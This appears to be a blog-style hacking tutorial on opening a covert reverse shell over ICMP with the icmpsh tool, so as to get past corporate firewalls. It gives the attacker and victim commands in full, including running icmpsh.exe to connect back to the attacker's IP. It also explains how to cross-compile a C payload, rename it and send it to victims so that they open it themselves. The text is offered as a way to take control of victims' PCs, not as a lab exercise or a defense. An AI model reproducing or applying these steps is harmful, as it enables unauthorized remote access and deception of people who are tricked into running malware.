Corporate firewalls can block reverse and bind TCP connections. However, corporate firewalls are behind internal networks. So we can use PING as a great convert channel to get victim shell access using ICMP Shell.

Here I have used Kali Linux(Attacker Machine) and Victim Machine (Windows 10)

Attacker Machine:-

• Download the ICMP SHELL tool Here

• execute command  ./run.sh shell script with 777 Permissions ( read, write, execute)

• The output of the shell script command will give a piece of code icmpsh.exe -t 192.168.43.7 -d 500 -b 30 -s 128.

Victim Machine:-

• Upload “icmpsh.exe” on the victim machine.

• Run CMD and  Execute “icmpsh.exe -t <Attackers IP> -d 500 -b 30 -s 128” as a listener.
• Here Listener script will be icmpsh.exe -t 192.168.43.7 -d 500 -b 30 -s 128.
• Execute this with CMD  & No admin privileges are needed.

Also Read :  Operating Systems can be detected using Ping Command

Back to Attacker Machine:-

• Once the Listener is executed on my Windows 10 victim machine, Here we got a shell with ICMP.

• So we can start our command and control of victim’s pc.

• So only, ICMP requests/response traffic only sent via the attacker’s machine to the victim’s machine.

Victims Click & Shell Access:-

• If you want to compromise victim directly by clicking, you can download the c code here 
• After downloading compile the c code directly with the known victim IP Install MinGW in Kali Linux and run the following command to compile the C file i686-w64-mingw32-gcc icmp-slave-complete.c -o icmp-slave-complete.exe
• Now you can Rename icmp-slave-complete.exe and send it to the victim. SHELL SHELL SHELL !!!